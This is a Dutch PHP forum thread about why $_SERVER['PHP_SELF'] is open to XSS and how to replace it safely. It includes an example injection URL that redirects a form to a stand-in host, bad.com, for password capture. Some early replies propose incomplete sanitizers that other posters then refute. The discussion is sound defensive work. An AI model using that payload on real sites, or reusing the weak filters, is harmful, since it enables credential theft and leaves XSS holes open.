Versio

onveilige PHP_SELF vervangen.

Overzicht Reageren

Mark L

Mark L

03/07/2010 13:11:56
Quote Anchor link
Ik weet ondertussen al een tijd dat de $_SERVER['PHP_SELF'] variabele niet te vertrouwen is. (aangezien deze XSS kan bevatten)
Nu wil ik dus op een andere manier erachter komen op welke pagina ik nu zit. Ik hoorde dat __FILE__ hierbij de oplossing was, tot ik erachter kwam dat dit niet lekker werkt bij een include (omdat hij dat de file van de include pakt en niet van de relatieve pagina).

Hoe kom ik - op een veilige manier - achter de huidige pagina? (Graag zonder elke pagina te beginnen met $curPage = 'pagina.php';)

Via google kwam ik op topics waar mensen zeiden dat ze $_SERVER['SCRIPT_NAME'] gebruikten, maar is deze dan wel veilig?

Gr,
Mark
 
PHP hulp

PHP hulp

25/05/2012 12:45:07
Gesponsorde koppelingen:
BHosted Hosting al vanaf € 1,- per maand

Controleer nu gratis jouw domeinnaam:

  
 
Mark L

Mark L

04/07/2010 14:41:11
Quote Anchor link
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
    Bump(true);
?>
 
Erwin Geen

Erwin Geen

04/07/2010 17:27:30
Quote Anchor link
Kan je niet een variabele of constant maken van die __FILE__?
Maar ik las net dat SCRIPT_NAME wel veilig is. (link)
Gewijzigd op 04/07/2010 17:36:37 door Erwin Geen
 
Jelmer rrrr

Jelmer rrrr

04/07/2010 17:54:33
Quote Anchor link
Weet je waarom $_SERVER['PHP_SELF'] niet veilig is? Als je dat weet, kan je andere variabelen in $_SERVER proberen, zoals bijvoorbeeld SCRIPT_NAME, om te kijken of die diezelfde lekken vertonen.

Hint: PHP_SELF bevat de URL zoals je hem aanroept. Dus wanneer je een quote in je url zet, komt die ook in PHP_SELF. Als je dan bijv. <form action="{$PHP_SELF}"> neer zou zetten, en je roept de pagina aan als test.php?%22+action%3D%22http%3A%2F%2Fwww.bad.com%2Fsavepassword.php dan verwijst het formulier plots naar een andere site.
 
Mark L

Mark L

04/07/2010 18:44:09
Quote Anchor link
PATH_INFO word - als dit aanstaat op de server - meegestuurd in de variabele. Dit is daardoor van buitenaf beïnvloedbaar en XSS gevaren met zich mee.
Her fijne weet ik er eerlijk gezegd niet van, zou ik me inderdaad nog eens in moeten verdiepen.
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:19:23
Quote Anchor link
Wat ik persoonlijk gebruik, is het volgende:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Volgens mij pakt ie dan (in het voorbeeld van Jelmer) ook écht het eigen bestandsnaam.

Zie bijv. de volgende link:
Test
Code:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
echo basename($_SERVER['PHP_SELF']);
?>

Werkt dus best goed, voor zover ik weet.
Gewijzigd op 04/07/2010 21:23:08 door Jannick Bolten
 
Jelmer rrrr

Jelmer rrrr

04/07/2010 21:32:03
 
Jannick Bolten

Jannick Bolten

04/07/2010 21:49:12
Quote Anchor link
Hmm, OK, you've got me. Ik had vroeger een ander stukje, maar die ben ik helaas kwijt. Dan is inderdaad SCRIPT_NAME nog het beste. Maar ja, zoals al bekend is, niets is veilig genoeg.
 
Martijn B

Martijn B

04/07/2010 22:13:10
Quote Anchor link
Volgens mij is dit veilig:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?php
$_SERVER
['PHP_SELF'] = str_replace(array('<', '>', '"'), array('%3C', '%3E', '&quot;'), $_SERVER['PHP_SELF']);
?>


Ja je kunt quotes in de URL hebben, maar er wordt dan nog geen code uitgevoerd door je browser.

Edit:

De quote heb ik er nu ook bij gezet. Dankzij Jelmer rrrr.
Gewijzigd op 04/07/2010 22:39:42 door Martijn B
 
Jelmer rrrr

Jelmer rrrr

04/07/2010 22:28:22
Quote Anchor link
Quotes in $PHP_SELF, en een form-element waar hij wordt gebruikt is genoeg om code uit te voeren op zich. onmouseover is goed genoeg om Javascript uit te voeren, redelijke kans dat iemand met z'n muis over een form-elementje gaat. Maar htmlspecialchars of htmlentities biedt voldoende beveiliging.
 
Niels Kieviet
Beheerder

Niels Kieviet

05/07/2010 09:32:40
Quote Anchor link
dit is als het goed is voldoende, zoals jelmer aangeeft

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?php

htmlspecialchars( basename( $_SERVER['PHP_SELF'] ) );

?>
 
P Lekensteyn

P Lekensteyn

05/07/2010 16:55:54
Quote Anchor link
Waarom dan nog basename?
Basename sowieso niet gebruiken zonder vorm van validatie als het van de bezoeker komt.

basename('/een/pad/naar/..') -> ..
dirname('/een/pad/naar/../raar') -> ..
Gebruik dan realpath() of een functie die //, /./ en /../ weghaalt.

dit is prima: htmlentities($_SERVER['PHP_SELF'])

Of je doet gewoon: <form action="denaamvanhetphpbestand.php">
 



Overzicht Reageren